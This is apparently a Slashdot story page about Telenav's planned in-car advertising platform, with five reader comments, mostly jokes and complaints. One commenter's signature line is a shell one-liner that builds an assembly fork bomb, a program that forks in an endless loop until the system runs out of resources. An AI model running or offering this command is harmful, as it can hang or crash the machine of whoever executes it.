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Your Car May Soon Start Serving You Ads (siliconbeat.com)

An anonymous reader quotes SiliconBeat: Santa Clara auto-tech firm Telenav has just announced an "in-car advertising platform" for cars that connect to the internet. Telenav wants to sell the system to major auto manufacturers. And although it's probably the last thing many consumers want, vehicle owners will pay more for connected-car services if they decline the ads. "This approach helps car makers offset costs related to connected services, such as wireless data, content, software and cloud services," a spokeswoman for Telenav said Jan. 5. "In return for accepting ads in vehicles, drivers benefit from access to connected services without subscription fees, as well as new driving experiences that come from the highly-targeted and relevant offers delivered based on information coming from the vehicle."

Auto makers including Toyota, Lexus, Ford, GM and Cadillac already use the company's connected-car products, the spokeswoman said. Telenav CEO H.P. Jin in a press release called the ad platform "an exciting new opportunity" for vehicle manufacturers to "monetize connectivity to cover service costs and even drive healthy profits while enriching the consumer experience with safely delivered, engaging and relevant offers"...

To prevent driver distraction, "ads only appear when the vehicle is stopped, such as at car startup, traffic lights and upon arrival," Telenav said... Of course, driver distraction won't be an issue in self-driving cars, and this technology suggests the captive audiences in those vehicles will likely be subjected to an ad barrage in robotic ride-sharing vehicles and automated cars whose owners decline to pay more to avoid in-car advertising.

5 of 310 comments (clear)

  1. Sigh by Fly+Swatter · · Score: 5, Funny

    Guess I'm sticking with my '77 olds. But I already get served ads in that too, the radio still works...

  2. Nope by JBMcB · · Score: 5, Informative

    *Perhaps* for self-driving cars, but car manufacturers are SUPER paranoid about driver distraction to the point that there are strict rules about how fast stuff scrolls on a radio, and what types of information can be shown in certain colors, or flashing, or accompanied with sound. An ad blaring at you while you're waiting for a traffic light to change isn't going to happen. All it would take is one driver to say they were startled by the ad, hit the accelerator and smash into a semi truck, and the lawyers would be falling over themselves to file the first lawsuit.

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    My Other Computer Is A Data General Nova III.
  3. Re:If this works as well as ads in web pages by Hal_Porter · · Score: 5, Funny

    Why not have Inline Infotainment? I found out InfoTourettes patented scripting system will add tailored product DIET COKE! placements that don't MARLBORO LIGHTS! LO FAT VEGETARIAN SALAD! disrupt the flow of the article TAMPONS! WONDERBRA! and adapt your site's likely audience PONIES! so as not to annoy them or seem intrusive PERSONAL TRAINERS! MANOLO BLAHNIKS!

    You probably haven't even noticed, but I'm using it now. And now InfoTourettes Car edition is available DON'T DRIVE THERE! DRIVE HERE INSTEAD! for all your in car Infotainment needs.

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    echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
  4. How to lose a customer for life by MrLogic17 · · Score: 5, Insightful

    If I test drive a car that serves up an ad, not only am I not buying that car - I'm black-listing that brand forever.

    Bring it on punk - see how fast you can drop market share.

  5. Obligatory Futurama by DontBeAMoran · · Score: 5, Funny

    Leela: Didn't you have ads in the 21st century?

    Fry: Well sure, but not in our dreams. Only on TV and radio, and in magazines, and movies, and at ball games... and on buses and milk cartons and t-shirts, and bananas and written on the sky. But not in dreams, no siree.

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    #DeleteFacebook